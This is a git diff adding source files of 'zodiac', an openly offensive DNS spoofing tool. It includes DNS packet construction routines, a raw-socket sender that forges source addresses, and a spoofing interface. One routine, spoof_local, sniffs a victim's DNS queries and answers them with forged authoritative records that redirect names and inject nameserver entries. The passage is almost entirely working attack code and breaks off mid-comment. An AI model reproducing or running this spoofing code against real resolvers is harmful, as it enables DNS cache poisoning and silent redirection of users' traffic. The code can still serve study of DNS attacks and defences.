+{ + char *last_label = NULL, + *hold_label = NULL; + + if (domainname == NULL) + return (NULL); + + /* find last SLD + */ + for (; *domainname != '\x00'; ++domainname) { + if (*domainname == '.') { + last_label = hold_label; + hold_label = domainname + 1; + } + } + + return (last_label); +} + + +/* + * gets the domain of an in-addr.arpa string. + * 123.123.123.123.in-addr.arpa ==> 123.123.123.in-addr.arpa + * return a pointer inside arpaname on success + * return NULL on failure + */ + +char * +dns_ptr_domain (char *arpaname) +{ + char *dot; + + if (strstr (arpaname, "in-addr.arpa") == NULL) + return (NULL); + + if (atoi (arpaname) == 0) + return (NULL); + + dot = strchr (arpaname, '.'); + + return ((dot == NULL) ? NULL : (dot + 1)); +} + + +/* dns_build_new + * + * constructor. create new packet data body + * + * return packet data structure pointer (initialized) + */ + +dns_pdata * +dns_build_new (void) +{ + dns_pdata *new; + + new = xcalloc (1, sizeof (dns_pdata)); + new->p_offset = NULL; + new->p_data = NULL; + + return (new); +} + + +/* dns_build_destroy + * + * destructor. destroy a dns_pdata structure pointed to by `pd' + * + * return in any case + */ + +void +dns_build_destroy (dns_pdata *pd) +{ + if (pd == NULL) + return; + + if (pd->p_data != NULL) + free (pd->p_data); + free (pd); + + return; +} + + +/* dns_build_plen + * + * calculate the length of the current packet data body pointed to by `pd'. + * + * return the packet length + */ + +u_short +dns_build_plen (dns_pdata *pd) +{ + if (pd == NULL) + return (0); + + if (pd->p_data == NULL || pd->p_offset == NULL) + return (0); + + return ((u_short) (pd->p_offset - pd->p_data)); +} + + +/* dns_build_extend + * + * extend a dns_pdata structure data part for `amount' bytes. + * + * return a pointer to the beginning of the extension + */ + +unsigned char * +dns_build_extend (dns_pdata *pd, size_t amount) +{ + unsigned int u_ptr = dns_build_plen (pd); + + /* realloc is your friend =) + */ + pd->p_data = realloc (pd->p_data, u_ptr + amount); + if (pd->p_data == NULL) { + exit (EXIT_FAILURE); + } + + /* since realloc can move the memory we have to calculate + * p_offset completely from scratch + */ + pd->p_offset = pd->p_data + u_ptr + amount; + + return (pd->p_data + u_ptr); +} + + +/* dns_build_ptr + * + * take a numeric quad dot notated ip address `ip_str' and build a char + * domain out of it within the IN-ADDR.ARPA domain. + * + * return NULL on failure + * return a char pointer to the converted domain name + */ + +char * +dns_build_ptr (char *ip_str) +{ + char *ip_ptr; + int dec[4]; + int n; + + if (ip_str == NULL) + return (NULL); + + /* kludge for functions that already pass a reversed string + */ + if (strstr (ip_str, "in-addr.arpa")) + return (xstrdup (ip_str)); + + /* parse ip string, on failure drop conversion + */ + n = sscanf (ip_str, "%d.%d.%d.%d", &dec[0], &dec[1], &dec[2], &dec[3]); + if (n != 4) + return (NULL); + + /* allocate a new string of the required length + */ + ip_ptr = xcalloc (1, strlen (ip_str) + strlen (".in-addr.arpa") + 1); + sprintf (ip_ptr, "%d.%d.%d.%d.in-addr.arpa", dec[3], dec[2], dec[1], dec[0]); + + return (ip_ptr); +} + + +/* dns_build_q + * + * append a query record into a dns_pdata structure, where `dname' is the + * domain name that should be queried, using `qtype' and `qclass' as types. + * + * conversion of the `dname' takes place according to the value of `qtype': + * + * qtype | expected dname format | converted to + * ---------+-----------------------+----------------------------------------- + * T_PTR | char *, ip address | IN-ADDR.ARPA dns domain name + * T_A | char *, full hostname | dns domain name + * T_NS | " | " + * T_CNAME | " | " + * T_SOA | " | " + * T_WKS | " | " + * T_HINFO | " | " + * T_MINFO | " | " + * T_MX | " | " + * T_ANY | " | " + * + * return (beside adding the record) the pointer to the record within the data + */ + +unsigned char * +dns_build_q (dns_pdata *pd, char *dname, u_short qtype, u_short qclass) +{ + unsigned char *qdomain = NULL; + unsigned char *tgt, *rp; + int dlen; + + switch (qtype) { + case (T_PTR): + /* convert in itself, then convert to a dns domain + */ + dname = dns_build_ptr (dname); + if (dname == NULL) + return (NULL); + + case (T_A): + case (T_NS): + case (T_CNAME): + case (T_SOA): + case (T_WKS): + case (T_HINFO): + case (T_MINFO): + case (T_MX): + case (T_TXT): + case (T_ANY): + /* convert to a dns domain + */ + dlen = dns_build_domain (&qdomain, dname); + if (dlen == 0) + return (NULL); + break; + default: + return (NULL); + } + + tgt = rp = dns_build_extend (pd, dlen + sizeof (qtype) + sizeof (qclass)); + + memcpy (tgt, qdomain, dlen); + tgt += dlen; + free (qdomain); + + PUTSHORT (qtype, tgt); + PUTSHORT (qclass, tgt); + + return (rp); +} + + +/* dns_build_rr + * + * append a resource record into a dns_pdata structure, pointed ty by `pd', + * where `dname' is the domain name the record belongs to, `type' and `class' + * are the type and class of the dns data part, `ttl' is the time to live, + * the time in seconds how long to cache the record. `rdlength' is the length + * of the resource data pointed to by `rdata'. + * depending on `type' the data at `rdata' will be converted to the appropiate + * type: + * + * type | rdata points to | will be + * -------+---------------------+--------------------------------------------- + * T_A | char IP address | 4 byte network byte ordered IP address + * T_PTR | char domain name | encoded dns domain name + * T_NS | char domain name | encoded dns domain name + * + * return (beside adding the record) the pointer to the record within the data + */ + +unsigned char * +dns_build_rr (dns_pdata *pd, unsigned char *dname, u_short type, u_short class, + u_long ttl, void *rdata) +{ + char *ptr_ptr = NULL; + struct in_addr ip_addr; /* temporary, to convert */ + unsigned char *qdomain = NULL; + unsigned char *tgt, *rp = NULL; + u_short rdlength = 0; + unsigned char *rdata_converted; /* converted rdata */ + int n; + + switch (type) { + case (T_A): + + /* resolve the quad dotted IP address, then copy it into the + * rdata array + */ + + ip_addr.s_addr = net_resolve ((char *) rdata); + rdata_converted = xcalloc (1, sizeof (struct in_addr)); + memcpy (rdata_converted, &ip_addr.s_addr, sizeof (struct in_addr)); + rdlength = 4; + + break; + + case (T_NS): + case (T_CNAME): + case (T_PTR): + + /* build a dns domain from the plaintext domain name + */ + n = dns_build_domain ((unsigned char **) &rdata_converted, (char *) rdata); + if (n == 0) + return (NULL); + rdlength = n; + + break; + + case (T_TXT): + + rdata_converted = xstrdup (rdata); + rdlength = strlen (rdata_converted); + + break; + + default: + return (NULL); + } + + /* create a real dns domain from the plaintext query domain + */ + switch (type) { + case (T_PTR): + ptr_ptr = dns_build_ptr (dname); + dname = ptr_ptr; + default: + n = dns_build_domain (&qdomain, dname); + if (n == 0) + goto rr_fail; + break; + } + if (ptr_ptr != NULL) + free (ptr_ptr); + + /* extend the existing dns packet to hold our extra rr record + */ + tgt = rp = dns_build_extend (pd, dns_labellen (qdomain) + sizeof (type) + + sizeof (class) + sizeof (ttl) + sizeof (rdlength) + rdlength); + + memcpy (tgt, qdomain, dns_labellen (qdomain)); + tgt += dns_labellen (qdomain); + free (qdomain); + + PUTSHORT (type, tgt); + PUTSHORT (class, tgt); + PUTLONG (ttl, tgt); + PUTSHORT (rdlength, tgt); + + memcpy (tgt, rdata_converted, rdlength); + tgt += rdlength; + +rr_fail: + free (rdata_converted); + + return (rp); +} + + +/* dns_build_query_label + * + * build a query label given from the data `query' that should be enclosed + * and the query type `qtype' and query class `qclass'. + * the label is passed back in printable form, not in label-length form. + * + * qtype qclass query + * -----------+---------------+----------------------------------------------- + * A IN pointer to a host- or domainname + * PTR IN pointer to a struct in_addr + * + * ... (to be extended) ... + * + * return 0 on success + * return 1 on failure + */ + +int +dns_build_query_label (unsigned char **query_dst, u_short qtype, u_short qclass, void *query) +{ + char label[256]; + struct in_addr *ip; + + /* we do only internet queries (qclass is just for completeness) + * also drop empty queries + */ + if (qclass != C_IN || query == NULL) + return (1); + + switch (qtype) { + case (T_A): *query_dst = xstrdup (query); + break; + + case (T_PTR): memset (label, '\0', sizeof (label)); + ip = (struct in_addr *) query; + net_printipr (ip, label, sizeof (label) - 1); + scnprintf (label, sizeof (label), ".in-addr.arpa"); + *query_dst = xstrdup (label); + break; + default: return (1); + break; + } + + return (0); +} + + +/* dns_build_domain + * + * build a dns domain label sequence out of a printable domain name + * store the resulting domain in `denc', get the printable domain + * from `domain'. + * + * return 0 on failure + * return length of the created domain (include suffixing '\x00') + */ + +int +dns_build_domain (unsigned char **denc, char *domain) +{ + char *start = domain, + *out, + c = '\0'; + int n = strlen (domain); + + if (n > MAXDNAME) + return (0); + + out = *denc = xcalloc (1, n + 2); + + domain += n - 1; + out += n + 1; + *out-- = 0; + + n = 0; + + while (domain >= start) { + c = *domain--; + if (c == '.') { + *out-- = n; + n = 0; + } else { + *out-- = c; + n++; + } + } + + if (n != '\0') + *out-- = n; + + return (strlen (out + 1) + 1); +} + +/* deprecated, old version + +int +dns_build_domain (unsigned char **denc, char *domain) +{ + char *b, *dst; + + if (strlen (domain) >= 255) + return (0); + + dst = *denc = xcalloc (1, strlen (domain) + 2); + + *dst = (unsigned char) dns_build_domain_dotlen (domain); + dst++; + + for (b = domain ; *b != '\x00' ; ++b) { + if (*b == '.') { + *dst = (unsigned char) dns_build_domain_dotlen (b + 1); + } else { + *dst = *b; + } + ++dst; + } + + *dst = '\x00'; + dst += 1; + + return ((unsigned long int) ((unsigned long) dst - (unsigned long) *denc)); +} +*/ + + +/* dns_build_domain_dotlen + * + * helper routine, determine the length of the next label in a human + * printed domain name + * + * return the number of characters until an occurance of \x00 or '.' + */ + +int +dns_build_domain_dotlen (char *label) +{ + int n; + + /* determine length + */ + for (n = 0; *label != '.' && *label != '\x00'; n++, ++label) + ; + + return (n); +} + + +/* dns_packet_send + * + * send a prepared dns packet spoofing from `ip_src' to `ip_dst', using + * source port `prt_src' and destination port `prt_dst'. the dns header + * data is filled with `dns_id', the dns identification number of the + * packet, `flags', which are the 16bit flags in the dns header, then + * four count variables, each for a dns segment: `count_q' is the number + * of queries, `count_a' the number of answers, `count_ns' the number of + * nameserver entries and `count_ad' the number of additional entries. + * the real dns data is aquired from `dbuf', `dbuf_s' bytes in length. + * the dns data should be constructed using the dns_build_* functions. + * if the packet should be compressed before sending it, `compress' + * should be set to 1. + * + * return 0 on success + * return 1 on failure + */ + +int +dns_packet_send (char *ip_src, char *ip_dst, u_short prt_src, u_short prt_dst, + u_short dns_id, u_short flags, u_short count_q, u_short count_a, + u_short count_ns, u_short count_ad, dns_pdata *pd, int compress) +{ + int sock; /* raw socket, yeah :) */ + int n; /* temporary return value */ + unsigned char buf[4096]; /* final packet buffer */ + unsigned char *dbuf = pd->p_data; + size_t dbuf_s = dns_build_plen (pd); + struct in_addr s_addr, + d_addr; + + + s_addr.s_addr = net_resolve (ip_src); + d_addr.s_addr = net_resolve (ip_dst); + + + + libnet_build_dns ( dns_id, /* dns id (the famous one, 'antilove'd by many users ;) */ + flags, /* standard query response */ + count_q, /* count for query */ + count_a, /* count for answer */ + count_ns, /* count for authoritative information */ + count_ad, /* count for additional information */ + dbuf, /* buffer with the queries/rr's */ + dbuf_s, /* query size */ + buf + IP_H + UDP_H); /* write into packet buffer */ + + libnet_build_udp ( prt_src, /* source port */ + prt_dst, /* 53 usually */ + NULL, /* content already there */ + DNS_H + dbuf_s, /* same */ + buf + IP_H); /* build after ip header */ + + libnet_build_ip ( UDP_H + DNS_H + dbuf_s, /* content size */ + 0, /* tos */ + libnet_get_prand (PRu16), /* id :) btw, what does 242 mean ? */ + 0, /* frag */ + 64, /* ttl */ + IPPROTO_UDP, /* subprotocol */ + s_addr.s_addr, /* spoofa ;) */ + d_addr.s_addr, /* local dns querier */ + NULL, /* payload already there */ + 0, /* same */ + buf); /* build in packet buffer */ + + libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + dbuf_s); + libnet_do_checksum (buf, IPPROTO_IP, IP_H); + + /* check whether we have to send out our putty through a spoof proxy :-] + */ + if (zodiac_spoof_proxy == NULL) { + + /* mark packet so we don't fucking catch our own packets =-) + */ + dns_tag_add (ip_src, ip_dst, prt_src, prt_dst, dns_id); + + sock = libnet_open_raw_sock(IPPROTO_RAW); + if (sock == -1) + return (1); + n = libnet_write_ip (sock, buf, UDP_H + IP_H + DNS_H + dbuf_s); + if (n < UDP_H + IP_H + DNS_H + dbuf_s) { + return (1); + } + + close (sock); + + } else { + socklen_t p_len = UDP_H + IP_H + DNS_H + dbuf_s; + unsigned char *p_buf; + + /* set matching hash + */ + p_buf = xcalloc (1, p_len + 16); + memcpy (p_buf + 16, buf, p_len); + memcpy (p_buf, match_hash, 16); + p_len += 16; + + udp_write (zodiac_spoof_proxy, zodiac_spoof_proxy_port, p_buf, + p_len, zodiac_spoof_proxy_key); + + free (p_buf); + } + + return (0); +} + + diff --git a/dns-projects/zodiac/src/dns-build.h b/dns-projects/zodiac/src/dns-build.h new file mode 100644 index 0000000..37dec34 --- /dev/null +++ b/dns-projects/zodiac/src/dns-build.h @@ -0,0 +1,212 @@ + +/* zodiac - advanced dns spoofer + * + * dns packet builder routines include file + * + * by scut / teso + */ + +#ifndef Z_DNS_BUILD_H +#define Z_DNS_BUILD_H + + +/* dns_pdata + * + * domain name service packet data part structure. + * the data in this structure is the virtual dns packet to fire. + */ + +typedef struct dns_pdata { + unsigned char *p_offset; /* internal offset to construct packet data */ + unsigned char *p_data; /* real packet data pointer */ +} dns_pdata; + + +/* dns_build_random + * + * prequel the domain name `domain' with a random sequence of characters + * with a random length if `len' is zero, and a fixed length if len is != 0 + * + * return the allocated new string + */ + +char *dns_build_random (char *domain, size_t len); + +/* dns_domain + * + * return a pointer to the beginning of the SLD within a full qualified + * domain name `domainname'. + * + * return NULL on failure + * return a pointer to the beginning of the SLD on success + */ + +char *dns_domain (char *domainname); +char *dns_ptr_domain (char *arpaname); + + +/* dns_build_new + * + * constructor. create new packet data body + * + * return packet data structure pointer (initialized) + */ + +dns_pdata *dns_build_new (void); + + +/* dns_build_destroy + * + * destructor. destroy a dns_pdata structure pointed to by `pd' + * + * return in any case + */ + +void dns_build_destroy (dns_pdata *pd); + + +/* dns_build_plen + * + * calculate the length of the current packet data body pointed to by `pd'. + * + * return the packet length + */ + +u_short dns_build_plen (dns_pdata *pd); + + +/* dns_build_extend + * + * extend a dns_pdata structure data part for `amount' bytes. + * + * return a pointer to the beginning of the extension + */ + +unsigned char *dns_build_extend (dns_pdata *pd, size_t amount); + + +/* dns_build_ptr + * + * take a numeric quad dot notated ip address `ip_str' and build a char + * domain out of it within the IN-ADDR.ARPA domain. + * + * return NULL on failure + * return a char pointer to the converted domain name + */ + +char *dns_build_ptr (char *ip_str); + + +/* dns_build_q + * + * append a query record into a dns_pdata structure, where `dname' is the + * domain name that should be queried, using `qtype' and `qclass' as types. + * + * conversion of the `dname' takes place according to the value of `qtype': + * + * qtype | expected dname format | converted to + * ---------+-----------------------+----------------------------------------- + * TY_PTR | char *, ip address | IN-ADDR.ARPA dns domain name + * TY_A | char *, full hostname | dns domain name + * TY_NS | " | " + * TY_CNAME | " | " + * TY_WKS | " | " + * TY_HINFO | " | " + * TY_MINFO | " | " + * TY_MX | " | " + * + * return (beside adding the record) the pointer to the record within the data + */ + +unsigned char *dns_build_q (dns_pdata *pd, char *dname, u_short qtype, u_short qclass); + + +/* dns_build_rr + * + * append a resource record into a dns_pdata structure, pointed ty by `pd', + * where `dname' is the domain name the record belongs to, `type' and `class' + * are the type and class of the dns data part, `ttl' is the time to live, + * the time in seconds how long to cache the record. `rdlength' is the length + * of the resource data pointed to by `rdata'. + * depending on `type' the data at `rdata' will be converted to the appropiate + * type: + * + * type | rdata points to | will be + * -------+---------------------+--------------------------------------------- + * TY_A | char IP address | 4 byte network byte ordered IP address + * TY_PTR | char domain name | encoded dns domain name + * TY_NS | char domain name | encoded dns domain name + * + * return (beside adding the record) the pointer to the record within the data + */ + +unsigned char *dns_build_rr (dns_pdata *pd, unsigned char *dname, + u_short type, u_short class, u_long ttl, void *rdata); + + +/* dns_build_query_label + * + * build a query label given from the data `query' that should be enclosed + * and the query type `qtype' and query class `qclass'. + * + * qtype qclass query + * -----------+---------------+----------------------------------------------- + * A IN pointer to a host- or domainname + * PTR IN pointer to a struct in_addr + * + * ... (to be extended) ... + * + * return 0 on success + * return 1 on failure + */ +int dns_build_query_label (unsigned char **query_dst, u_short qtype, u_short qclass, void *query); + + +/* dns_build_domain + * + * build a dns domain label sequence out of a printable domain name + * store the resulting domain in `denc', get the printable domain + * from `domain'. + * + * return 0 on failure + * return length of the created domain (include suffixing '\x00') + */ + +int dns_build_domain (unsigned char **denc, char *domain); + + +/* dns_build_domain_dotlen + * + * helper routine, determine the length of the next label in a human + * printed domain name + * + * return the number of characters until an occurance of \x00 or '.' + */ + +int dns_build_domain_dotlen (char *label); + + +/* dns_packet_send + * + * send a prepared dns packet spoofing from `ip_src' to `ip_dst', using + * source port `prt_src' and destination port `prt_dst'. the dns header + * data is filled with `dns_id', the dns identification number of the + * packet, `flags', which are the 16bit flags in the dns header, then + * four count variables, each for a dns segment: `count_q' is the number + * of queries, `count_a' the number of answers, `count_ns' the number of + * nameserver entries and `count_ad' the number of additional entries. + * the real dns data is aquired from the dns packet data `pd'. + * the dns data should be constructed using the dns_build_* functions. + * if the packet should be compressed before sending it, `compress' + * should be set to 1. + * + * return 0 on success + * return 1 on failure + */ + +int dns_packet_send (char *ip_src, char *ip_dst, u_short prt_src, u_short prt_dst, + u_short dns_id, u_short flags, u_short count_q, u_short count_a, + u_short count_ns, u_short count_ad, dns_pdata *pd, int compress); + +#endif + diff --git a/dns-projects/zodiac/src/dns-mass.c b/dns-projects/zodiac/src/dns-mass.c new file mode 100644 index 0000000..20ea8c5 --- /dev/null +++ b/dns-projects/zodiac/src/dns-mass.c @@ -0,0 +1,21 @@ +/* zodiac - advanced dns spoofer + * + * by team teso + * + * mass routines (mass resolving, mass versioning, etc...) + */ + + +/* dm_resolve + * + * dns mass resolve function. resolves at a fixed rate `rate' per second + * names from file `hostfile', one per line. outputs to `ipfile'. + * to do this it spawns two threads, one collecting and one packet-firing + * thread. timeout `timeout' is used per lookup. + * beware, it might eat system resources :) + * + * return in any case + */ + +void +dm_resolve ( diff --git a/dns-projects/zodiac/src/dns-spoof-int.c b/dns-projects/zodiac/src/dns-spoof-int.c new file mode 100644 index 0000000..f4a5a03 --- /dev/null +++ b/dns-projects/zodiac/src/dns-spoof-int.c @@ -0,0 +1,269 @@ +/* + * new OO-interface to spoofing functions. + * hopefully this will make it easier to do 'batch' id spoofs. + * i.e. A and PTR at the same time, while maintaining flexibility. + * + * -Smiler + */ + +#include +#include +#include +#include +#include +#include "dns-spoof-int.h" +#include "dns-spoof.h" +#include "dns-build.h" +#include "common.h" + +static void spoof_id_destroy (spoof_style_id *spoof_id); +static void spoof_local_destroy (spoof_style_local *spoof_local); +static void spoof_jizz_destroy (spoof_style_jizz *spoof_jizz); + +/* functions to carry out the spoofs, with certain + * variations. + */ + +void +spoof_do (spoof_base *spoof) +{ + switch (spoof->spoof_style) { + case SPOOF_STYLE_LOCAL: + spoof_local (&spoof->spoof.local_spoof); + break; + case SPOOF_STYLE_JIZZ: + spoof_jizz (&spoof->spoof.jizz_spoof); + break; + case SPOOF_STYLE_SNIFFID: + spoof_dnsid (&spoof->spoof.id_spoof); + break; + } + return; +} + +void * +_spoof_do_threaded (void *arg) +{ + spoof_do ((spoof_base *)arg); + spoof_destroy ((spoof_base *)arg); + return (NULL); +} + +pthread_t +spoof_do_threaded (spoof_base *spoof) +{ + pthread_t tid; + + pthread_create (&tid, NULL, _spoof_do_threaded, (void *)spoof); + return (tid); +} + +/* + * create a new spoof strucuture for local spoofs. + * return NULL on error. + */ + +spoof_base * +spoof_local_new (char *victim, char *from, char *to, char *dns, char *dns_ip, int type) +{ + spoof_base *ptr; + spoof_style_local *local; + + ptr = (spoof_base *) xcalloc (1, sizeof(spoof_base)); + + ptr->spoof_style = SPOOF_STYLE_LOCAL; + + local = &ptr->spoof.local_spoof; + local->spoof_victim = victim; + local->spoof_from = from; + local->spoof_to = to; + local->local_dns = dns; + local->local_dns_ip = dns_ip; + local->spoof_type = type; + + return (ptr); +} + +/* + * create a new spoof structure for jizz spoofing. + * return NULL on error. + */ + +spoof_base * +spoof_jizz_new (char *ns, char *domain, char *local_ip, char *spoof_from, + char *spoof_to) +{ + spoof_base *ptr; + spoof_style_jizz *jizz; + + ptr = (spoof_base *) xcalloc (1, sizeof(spoof_base)); + + ptr->spoof_style = SPOOF_STYLE_JIZZ; + + jizz = &ptr->spoof.jizz_spoof; + jizz->nameserver = ns; + jizz->local_domain = domain; + jizz->local_dns_ip = local_ip; + jizz->spoof_from = spoof_from; + jizz->spoof_to = spoof_to; + + return (ptr); +} + +/* + * allocate, init and return a new spoof structure for id spoofing + * return NULL on error. + */ + +spoof_base * +spoof_id_new (char *ns, char *local_domain) +{ + spoof_base *ptr; + + ptr = (spoof_base *)xcalloc (1, sizeof(spoof_base)); + + ptr->spoof_style = SPOOF_STYLE_SNIFFID; + ptr->spoof.id_spoof.nameserver = ns; + ptr->spoof.id_spoof.local_domain = local_domain; + ptr->spoof.id_spoof.id_cnt = 0; + ptr->spoof.id_spoof.root = NULL; + return (ptr); +} + +/* + * add an id spoof to the linked list. + * only supports T_A, T_PTR and T_NS atm. + * spoof_from_domain can be NULL. + * + * return 0 on success + * return -1 on error + */ + +int +spoof_id_add (spoof_base *base, int type, char *spoof_from, + char *spoof_to, char *spoof_from_domain) +{ + spoof_style_id *ptr; + spoof_id_list *new, + *link_ptr; + + if (base->spoof_style != SPOOF_STYLE_SNIFFID) + return (-1); + + ptr = &base->spoof.id_spoof; + + if (ptr->id_cnt >= SPOOF_ID_MAX) + return (-1); + + if (type != T_A && type != T_PTR && type != T_NS) + return (-1); + + new = (spoof_id_list *) xcalloc (1, sizeof(spoof_id_list)); + memset (new, 0, sizeof(spoof_id_list)); + + new->next = NULL; + new->spoof_type = type; + new->spoof_from = spoof_from; + new->spoof_to = spoof_to; + if (spoof_from_domain == NULL) { + if (type != T_PTR) { + new->spoof_from_domain = dns_domain (new->spoof_from); + if (new->spoof_from_domain == NULL) + return (-1); + } else { + new->spoof_from_domain = dns_ptr_domain (new->spoof_from); + if (new->spoof_from_domain == NULL) + return (-1); + } + } else { + new->spoof_from_domain = spoof_from_domain; + } + + /* link in the structure */ + link_ptr = ptr->root; + if (link_ptr == NULL) { + ptr->root = new; + } else { + while (link_ptr->next) link_ptr = link_ptr->next; + link_ptr->next = new; + } + + /* and increase the spoof count */ + ++ptr->id_cnt; + + return (0); +} + +/* + * Free a spoof_id structure + */ +static void +spoof_id_destroy (spoof_style_id *spoof_id) +{ + spoof_id_list *link, *tmp; + + for (link = spoof_id->root; link; link = tmp) { + tmp = link->next; + + /* free the contents of the link */ + free (link->spoof_from); + free (link->spoof_to); + + /* then free the link structure */ + free (link); + } + free (spoof_id->nameserver); + free (spoof_id->local_domain); + return; +} + +/* + * Free a local spoof structure. + */ +static void +spoof_local_destroy (spoof_style_local *spoof_local) +{ + free (spoof_local->spoof_victim); + free (spoof_local->spoof_from); + free (spoof_local->spoof_to); + free (spoof_local->local_dns); + free (spoof_local->local_dns_ip); + return; +} + +/* + * Free a jizz structure. + */ +static void +spoof_jizz_destroy (spoof_style_jizz *spoof_jizz) +{ + free (spoof_jizz->nameserver); + free (spoof_jizz->local_domain); + free (spoof_jizz->local_dns_ip); + free (spoof_jizz->spoof_from); + free (spoof_jizz->spoof_to); + return; +} + +/* + * Free a general spoof structure. + */ +void +spoof_destroy (spoof_base *spoof_base) +{ + switch (spoof_base->spoof_style) { + case SPOOF_STYLE_SNIFFID: + spoof_id_destroy(&spoof_base->spoof.id_spoof); + break; + case SPOOF_STYLE_LOCAL: + spoof_local_destroy(&spoof_base->spoof.local_spoof); + break; + case SPOOF_STYLE_JIZZ: + spoof_jizz_destroy(&spoof_base->spoof.jizz_spoof); + break; + default: + /* hmm */ + } + free (spoof_base); + return; +} diff --git a/dns-projects/zodiac/src/dns-spoof-int.h b/dns-projects/zodiac/src/dns-spoof-int.h new file mode 100644 index 0000000..c2598e1 --- /dev/null +++ b/dns-projects/zodiac/src/dns-spoof-int.h @@ -0,0 +1,82 @@ +/* + * New, hopefully more flexible interface to dns-spoof.c + * If anyone can come up with more imaginative/descriptive nomenclature, + * please change it :/ + */ + +#ifndef Z_DNS_SPOOF_INT_H +#define Z_DNS_SPOOF_INT_H + +#include + +#define SPOOF_ID_MAX 3 /* maximum number of id spoofs in a single request */ + +#define SPOOF_STYLE_SNIFFID 0x1 +#define SPOOF_STYLE_LOCAL 0x2 +#define SPOOF_STYLE_JIZZ 0x3 +#define SPOOF_STYLE_SNOOFID 0x4 /* not supported yet ! */ + +typedef struct spoof_style_jizz { + char *nameserver, + *local_domain, + *local_dns_ip, + *spoof_from, + *spoof_to; +} spoof_style_jizz; + +typedef struct spoof_style_local { + int spoof_type; /* A, PTR.. */ + + char *spoof_victim, + *spoof_from, + *spoof_to, + *local_dns, + *local_dns_ip; +} spoof_style_local; + + +typedef struct spoof_id_list { + struct spoof_id_list *next; + + int spoof_type; /* A, PTR.. */ + + char *spoof_from, + *spoof_from_domain, + *spoof_to; +} spoof_id_list; + + +typedef struct spoof_style_id { + char *nameserver, /* victim nameserver */ + *local_domain; /* guess */ + + int id_cnt; /* number of spoofs requested */ + spoof_id_list *root; /* linked list of spoofs */ +} spoof_style_id; + + +typedef struct spoof_base { + int spoof_style; /* id, jizz, local ... */ + + union { + spoof_style_id id_spoof; + spoof_style_local local_spoof; + spoof_style_jizz jizz_spoof; + } spoof; +} spoof_base; + + +spoof_base *spoof_jizz_new (char *ns, char *domain, char *local_ip, + char *spoof_from, char *spoof_to); +spoof_base *spoof_id_new (char *ns, char *local_domain); +int spoof_id_add (spoof_base *base, int type, char *spoof_from, + char *spoof_to, char *spoof_from_domain); +spoof_base *spoof_local_new (char *victim, char *from, char *to, + char *dns, char *dns_ip, int type); +void spoof_destroy (spoof_base *spoof_base); + +void spoof_do (spoof_base *base); +pthread_t spoof_do_threaded (spoof_base *base); + +#endif + diff --git a/dns-projects/zodiac/src/dns-spoof.c b/dns-projects/zodiac/src/dns-spoof.c new file mode 100644 index 0000000..462b2dd --- /dev/null +++ b/dns-projects/zodiac/src/dns-spoof.c @@ -0,0 +1,556 @@ +/* zodiac - advanced dns spoofer + * + * by scut / teso + * + * spoofing routines + */ + +#include +#include +#include "common.h" +#include "dns.h" +#include "dns-build.h" +#include "dns-spoof.h" +#include "dns-spoof-int.h" +#include "dns-tools.h" +#include "dnsid.h" +#include "dnsq.h" +#include "network.h" +#include "output.h" +#include "packet.h" +#include "zodiac.h" + + +extern struct in_addr localip; + + +/* spoof_local + * + * install a spoof handler that will transparently spoof local requests. + * the calling function has to launch an extra thread to do this in + * background *yeah*. + * + * used spoof_style_local variables: + * + * spoof_victim what local lookupers should be affected + * spoof_type T_A (name to ip) or T_PTR (ip to domain) spoof + * spoof_from ip / host that should be spoofed + * spoof_to wrong resolve for spoof_from + * local_dns nameserver that should be responsible for the domain + * local_dns_ip ip of the responsible nameserver local_dns + * + * return in any case + */ + +void +spoof_local (spoof_style_local *cs) +{ + int n; /* temporary return value */ + int desc; /* filter descriptor */ + struct in_addr ip_src, ip_dst; /* ip's (temporary) */ + char *query; + + /* from any address to the local nameserver + */ + ip_src.s_addr = net_resolve (cs->spoof_victim); /* NULL = any, != NULL, only this client */ + ip_dst.s_addr = net_resolve ("*"); /* can be "*" */ + + if (cs->spoof_type == T_PTR) { + /* convert the ip address to a encoded ptr query within + * the .in-addr.arpa domain :) + */ + query = dns_build_ptr (cs->spoof_from); + } else if (cs->spoof_type == T_A) { + /* domain name is equal to decoded query :) + */ + query = xstrdup (cs->spoof_from); + } else { + return; + } + + /* install a virtual dns packet filter + */ + desc = dq_filter_install ( + ip_src, /* dns queries from source IP */ + ip_dst, /* nameserver or any IP */ + 0, /* source port, we don't care :) */ + 53, /* dns port, we care about queries */ + 0, 0, 0, /* a local spoof, we don't care about the DNS ID's */ + query); /* query content (only spoof a name / ip) */ + + /* installing the handler shouldn't cause any error :-) hopefully + */ + if (desc == -1) + return; + + /* wait indefinitly + */ + while (dq_filter_wait (desc, NULL) == 1) { + + char *ip_src, *ip_dst; + ip_hdr *ip; /* pointer to ip header */ + udp_hdr *udp; /* pointer to udp header */ + dns_hdr *dns; /* pointer to dns header */ + unsigned char *dns_data; /* pointer to dns data part within packet */ + + dns_pdata *pd; /* dns data part of the packet */ + dq_packet *catch = /* catched packet */ + dq_p_get (desc); + + char *dns_sld = NULL; + + + /* if we didn't caught the packet (?), abort + */ + + if (catch == NULL) { + m_printf (ms, ms->winproc, "[zod] !ERROR! FILTER TRIGGERED, BUT NO PACKET\n"); + goto sp_local_fail; + } + + m_printf (ms, ms->winproc, "[zod] SPOOF LOCAL GOT PACKET\n"); + + /* axe the packet, *yeah* + */ + pq_offset (catch->packet, &ip, &udp, &dns, &dns_data); + + /* get spoofed nameserver domain, depending on spoof type =) + */ + if (cs->spoof_type == T_A) + dns_sld = dns_domain (cs->spoof_from); + else if (cs->spoof_type == T_PTR) + dns_sld = dns_domain (cs->spoof_to); + + pd = dns_build_new (); + dns_build_q (pd, cs->spoof_from, cs->spoof_type, C_IN); + dns_build_rr (pd, cs->spoof_from, cs->spoof_type, C_IN, 86400, cs->spoof_to); + dns_build_rr (pd, dns_sld, T_NS, C_IN, 86400, cs->local_dns); + dns_build_rr (pd, cs->local_dns, T_A, C_IN, 86400, cs->local_dns_ip); + + /* fire the packet, yeah :) + * flip source/destination ip/port, while doing it :) + */ + net_printipa (&ip->ip_dst, &ip_src); + net_printipa (&ip->ip_src, &ip_dst); + + n = dns_packet_send (ip_src, ip_dst, + htons (udp->uh_dport), htons (udp->uh_sport), htons (dns->id), + DF_RESPONSE | DF_AA | DF_RD | DF_RA, 1, 1, 1, 1, pd, 1); + + free (ip_src); + free (ip_dst); + + /* destroy created and catched packets + */ + dns_build_destroy (pd); + dq_p_free (catch); + } + +sp_local_fail: + + free (query); + dq_filter_uninstall (desc); + + /* someone ripped us off, let's do him a favor ;-) + */ + return; +} + + +/* spoof_ip_check + * + * check whether ip 